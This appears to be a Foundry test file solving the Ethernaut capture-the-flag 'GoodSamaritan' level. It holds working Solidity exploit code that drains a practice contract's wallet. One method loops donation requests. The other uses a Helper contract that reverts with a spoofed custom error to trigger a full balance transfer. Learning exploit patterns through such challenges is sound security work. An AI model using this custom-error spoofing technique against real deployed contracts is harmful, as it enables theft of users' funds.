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| // SPDX-License-Identifier: GPL-3.0 | ||
| pragma solidity ^0.8.0; | ||
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| import '../../src/EthernautCTF/GoodSamaritan.sol'; | ||
| import '@forge-std/Test.sol'; | ||
| import '@forge-std/console2.sol'; | ||
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| contract Helper is INotifyable { | ||
| error NotEnoughBalance(); | ||
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| function pwn(GoodSamaritan _goodSamaritan) external { | ||
| _goodSamaritan.requestDonation(); | ||
| } | ||
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| function notify(uint256 _amount) external { | ||
| // Make sure to revert on the first call made by the Coin. | ||
| if (_amount == 10) { | ||
| revert NotEnoughBalance(); | ||
| } | ||
| } | ||
| } | ||
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| contract GoodSamaritanExploit is Test { | ||
| GoodSamaritan target; | ||
| address deployerAddress = makeAddr('deployer'); | ||
| address exploiterAddress = makeAddr('exploiter'); | ||
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| function setUp() public { | ||
| vm.startPrank(deployerAddress); | ||
| target = new GoodSamaritan(); | ||
| console2.log('Target contract deployed'); | ||
| vm.stopPrank(); | ||
| } | ||
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| function testNaiveExploit() public { | ||
| Coin coin = target.coin(); | ||
| Wallet wallet = target.wallet(); | ||
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| uint256 walletBalance = coin.balances(address(wallet)); | ||
| console.log('Wallet balance: %d coins', walletBalance); | ||
| assertEq(walletBalance, 10 ** 6); | ||
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| uint256 exploiterBalance = coin.balances(address(exploiterAddress)); | ||
| console.log('Exploiter balance: %d coins', exploiterBalance); | ||
| assertEq(exploiterBalance, 0); | ||
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| vm.startPrank(exploiterAddress); | ||
| // Each donation request gives 10 coins to the requester. | ||
| // To fully drain the wallet, it will require 10**5 requests (100 000). | ||
| console.log('Performing the exploit...'); | ||
| uint256 counter; | ||
| while (coin.balances(address(wallet)) > 0) { | ||
| counter++; | ||
| target.requestDonation(); | ||
| } | ||
| console.log('Requested %d donations', counter); | ||
| console.log('Wallet has been drained'); | ||
| vm.stopPrank(); | ||
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| walletBalance = coin.balances(address(wallet)); | ||
| console.log('Wallet balance: %d coins', walletBalance); | ||
| assertEq(walletBalance, 0); | ||
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| exploiterBalance = coin.balances(address(exploiterAddress)); | ||
| console.log('Exploiter balance: %d coins', exploiterBalance); | ||
| assertEq(exploiterBalance, 10 ** 6); | ||
| } | ||
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| function testSmartExploit() public { | ||
| Coin coin = target.coin(); | ||
| Wallet wallet = target.wallet(); | ||
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| uint256 walletBalance = coin.balances(address(wallet)); | ||
| console.log('Wallet balance: %d coins', walletBalance); | ||
| assertEq(walletBalance, 10 ** 6); | ||
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| vm.startPrank(exploiterAddress); | ||
| // To make this exploit, we use an Helper contract. | ||
| // It has a `pwn` method to call `requestDonation`. Since the contract size is greater than zero, | ||
| // the Coin SC will call the `notify` method of the Helper contract. This method is made to revert | ||
| // when called with the specific amount of `10` which is the value used by the Coin SC. | ||
| // It reverts with a specific custom error made to trigger the `transferRemainder` method from | ||
| // the Wallet SC, transferring all the coins (10**6) to the Helper contract! | ||
| Helper helper = new Helper(); | ||
| console.log('Helper contract deployed'); | ||
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| uint256 helperBalance = coin.balances(address(helper)); | ||
| console.log('Helper balance: %d coins', helperBalance); | ||
| assertEq(helperBalance, 0); | ||
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| console.log('Performing the exploit...'); | ||
| helper.pwn(target); | ||
| console.log('Requested 1 donation'); | ||
| console.log('Wallet has been drained'); | ||
| vm.stopPrank(); | ||
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| walletBalance = coin.balances(address(wallet)); | ||
| console.log('Wallet balance: %d coins', walletBalance); | ||
| assertEq(walletBalance, 0); | ||
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| helperBalance = coin.balances(address(helper)); | ||
| console.log('Helper balance: %d coins', helperBalance); | ||
| assertEq(helperBalance, 10 ** 6); | ||
| } | ||
| } |